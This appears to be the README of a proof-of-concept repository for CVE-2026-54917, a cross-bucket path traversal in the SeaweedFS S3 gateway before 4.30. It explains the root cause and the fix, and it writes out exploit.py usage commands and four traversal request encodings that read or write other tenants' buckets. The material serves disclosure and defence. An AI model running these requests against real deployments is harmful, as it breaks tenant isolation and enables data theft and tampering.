
PoC + analysis for CVE-2026-54917 — SeaweedFS S3 gateway cross-bucket path traversal (CVSS 10.0, <4.30). Read/write any bucket via .. in the object key.
Proof-of-concept and technical write-up for CVE-2026-54917, a path-traversal in the SeaweedFS S3 API gateway that lets a caller reach objects in any bucket, regardless of what its credentials are authorized for.
| CVE | CVE-2026-54917 |
| Advisory | GHSA-w62w-66v9-vvgv |
| Product | SeaweedFS — S3 API gateway (weed s3, and the S3 endpoint in weed server) |
| Affected | < 4.30 |
| Patched | 4.30 |
| Weakness | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Severity | 10.0 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Status | CONFIRMED VULNERABLE on 4.29 · PATCHED on 4.30 (verified end-to-end) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
The S3 API router is built with mux.NewRouter().SkipClean(true). With path
cleaning disabled, a .. segment inside the request path survives routing.
A request such as:
GET /bucket-a/../evil-bucket/secret.txt
is matched by the mux route as {bucket} = "bucket-a",
{object} = "../evil-bucket/secret.txt".
Two things then diverge:
{bucket} variable — bucket-a — which
the caller is allowed to use.bucketDir(bucket) + "/" + object)
and the filer collapses the .. server-side, so the read/write actually lands
in evil-bucket.The result is a classic confused deputy: IAM checks one bucket, the filesystem operates on another. A principal authorized for a single bucket can read and write objects in every other bucket on the instance.
enableAuth = false — direct, unauthenticated cross-bucket read/write.enableAuth = true — authorization confused deputy: any authenticated
principal (any tenant) reads and writes across bucket boundaries it has no
grant for. This is the case demonstrated here and the reason for the 10.0 /
scope-changed score: one tenant's credential breaks the isolation of all
others.exploit.py uses only the Python standard library. It signs each request with
SigV4 itself and writes the request line byte-for-byte, so the traversal path
reaches the server unmodified — which is what enables the URL-encoded variants a
normal S3 SDK would rewrite.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Four traversal encodings are implemented and all confirmed on 4.29:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
The lab enables IAM (lab/s3.json) with two identities: admin (full) and
tenant-a (restricted to bucket-a). All exploitation uses only tenant-a's
credential. See EVIDENCE.txt for the full transcript.
See ANALYSIS.md. In short: SkipClean(true) keeps .. in the
routed path; GetBucketAndObject captures the raw mux vars; IAM authorizes
against {bucket}; toFilerPath joins {object} (which still contains ..)
into the filer path, where it is collapsed and crosses the bucket boundary.
Patched in 4.30 (patch-4.30.diff). A validateRequestPath
middleware runs before the bucket handlers and rejects any captured {bucket} /
{object} var that is empty or contains a traversal segment, returning
400 InvalidRequest. Upgrade to 4.30 or later.
/../, /%2e%2e, ..%2f, or ..%5c
between the bucket segment and the key.Caio Fabrício — github.com/BiiTts
| variant | on the wire | effect |
|---|
dotdot | /bucket-a/../evil-bucket/key | works with a stock aws-cli too |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | needs raw request (SDK re-encodes) |
enc-slash | /bucket-a/..%2fevil-bucket/key | needs raw request |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ is folded to / server-side |